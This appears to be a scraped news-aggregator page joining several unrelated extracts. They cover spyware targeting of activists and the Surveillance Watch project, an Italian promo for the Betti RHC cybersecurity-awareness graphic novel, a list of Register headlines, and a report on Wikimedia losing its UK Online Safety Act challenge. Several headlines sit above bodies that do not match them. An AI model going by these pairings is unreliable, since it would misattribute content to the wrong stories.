changed who I interact with on the web. It changed how much I'm willing to do on the web while protecting myself, because I don't want to put myself at any further risk. It changed how I express my views, how I access information, whether or not I would be comfortable accessing specific types of information if I felt like I could not do so safely." And all of this "creates a troubling pattern of isolation, feelings of guilt, feelings of not being able to express myself, feelings of being targeted and controlled." 'They know who you are' The Surveillance Watch homepage announces: "They know who you are. It's time to uncover who they are." It's creepy and accurate, and portrays all of the feelings that Al Shafei has around her spyware encounters. Her Majal team has "faced persistent targeting by sophisticated spyware technologies, firsthand, for a very long time, and this direct exposure to surveillance threats really led us to launch Surveillance Watch," she said. "We think it's very important for people to understand exactly how they're being surveilled, regardless of the why." The reality is, everybody - not just activists and politicians - is subject to surveillance, whether it's from smart-city technologies, Ring doorbell cameras, or connected cars. Users will always choose simplicity over security, and the same can be said for data privacy. "We want to show that when surveillance goes not just unnoticed, but when we start normalizing it in our everyday habits, we look at a new, shiny AI tool, and we say, 'Yes, of course, take access to all my data,'" Al Shafei said. "There's a convenience that comes with using all of these apps, tracking all these transactions, and people don't realize that this data can and does get weaponized against you, and not just against you, but also your loved ones." ®
go.theregister.comNov 8, 2025extracted
Wikipedia nel mirino del Congresso USA: quando la libertà di espressione diventa “sorvegliata speciale”
Betti RHC, la prima graphic novel al mondo dedicata alla cybersecurity awareness, ha finalmente il suo sito ufficiale. Uno spazio tutto suo dove scoprire il progetto, sfogliare le copertine degli episodi e immergersi nel mondo di Betti: la giovane laureanda in informatica che, dopo la morte misteriosa del padre, si trasforma nell'hacker più potente del mondo. Una storia avvincente che, episodio dopo episodio, affronta una minaccia digitale diversa — dal phishing al ransomware, fino al cyberbullismo — e insegna a riconoscerla e a difendersi, senza che sembri mai una lezione. Sul sito trovate tutto ciò che rende Betti un progetto diverso dal solito: la sua filosofia, le anteprime delle tavole e il racconto di come nasce ogni volume. Perché dietro Betti RHC c'è solo lavoro umano: ogni tavola è disegnata interamente a mano dagli artisti del Gruppo Arte di Red Hot Cyber, senza alcun uso di intelligenza artificiale. E a garantire che ogni storia sia realistica e tecnicamente corretta c'è la supervisione degli hacker etici del gruppo HackerHood, che mantengono il racconto fedele al mondo reale della sicurezza informatica. C'è spazio anche per le aziende, che possono usare Betti come strumento di awareness diverso dai soliti corsi: acquistare i volumi, personalizzarli con il proprio brand o sponsorizzare nuovi episodi. E come primo regalo, l'episodio "Byte the Silence", dedicato al cyberbullismo, è scaricabile gratuitamente per uso personale. Perché la miglior difesa, in fondo, è una bella storia. 👉 Scopri tutto su https://betti.redhotcyber.com/
redhotcyber.comSep 2, 2025extracted
Wikimedia Foundation loses first court battle to swerve Online Safety Act regulation
AI and ml Payments giant Stripe is about to drop over $7 billion to become a gateway to AI token salesAI gateways look promising as companies struggle with model orchestration ai and ml Anthropic says text watermarking scheme relies on inconsequential words'Shall I compare thee to a summer's afternoon' is the sort of thing this will make, and others look likely to adopt it AI and ML DeepSeek's innovative harness treats everything as a plug-inChinese AI labs keep moving forward while US labs play defense SECURITY Autonomous AI attacks pose 'clear and present danger' to critical infrastructureWeaponized agents could turn digital intrusions into kinetic disasters, experts warn off-prem Rent-a-GPU outfit Nebius promises rapid 1 GW powerup plan isn't nebulousAnd it'll jump through every financial hoop it can to get there Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server
go.theregister.comAug 11, 2025extracted
Wikipedia’s operator loses challenge to UK Online Safety Act rules
Wikipedia’s operator loses challenge to UK Online Safety Act rules A U.K. court on Monday dismissed a challenge brought by the Wikimedia Foundation to the country’s Online Safety Act, which could prevent unverified users from making edits or adding to posts. The organization, which operates Wikipedia, preemptively brought the challenge under the assumption that it would be labeled as a “category 1” platform, which it argues “would undermine the privacy and safety of Wikipedia’s volunteer contributors, expose the encyclopedia to manipulation and vandalism, and divert essential resources from protecting people and improving Wikipedia.” User verification — just one of several requirements for category 1 platforms — ”could expose contributors to data breaches, stalking, lawsuits, or even imprisonment by authoritarian regimes,” Wikimedia Foundation said in a statement. Although the U.K.’s High Court of Justice dismissed the foundation’s challenge, it said it would revisit the case if the organization was classified as category 1 by Ofcom — the country’s communications regulator — later this year. User verification rules have expanded in the United States as well as Europe in recent years, bringing pushback from online platforms that say they impose unreasonable requirements and limit free speech. In June, the U.S. Supreme Court ruled that a Texas law that requires people to prove their age to access online pornography was constitutional. Several other states have similar laws on the books. Category 1 services are defined under the rules as large user-to-user platforms that use content recommendation systems, such as Facebook, X and Google. Wikimedia, a nonprofit, argued that it is different from these organizations because it provides a volunteer-based digital public good, and the requirements would be “exceptionally burdensome” to Wikipedia’s operations. The judge appeared sympathetic to this argument, commenting on Wikipedia’s “significant value” and recognizing the damages that a category 1 label could have on the organization. The ruling “does not give Ofcom and the Secretary of State a green light to implement a regime that would significantly impede Wikipedia’s operations,” senior High Court judge Justice Johnson said, adding that it may be possible for Ofcom to flexibly interpret the rules or for lawmakers to amend the act. Adam Janofsky is the founding editor-in-chief of The Record from Recorded Future News. He previously was the cybersecurity and privacy reporter for Protocol, and prior to that covered cybersecurity, AI, and other emerging technology for The Wall Street Journal.
therecord.mediaAug 11, 2025extracted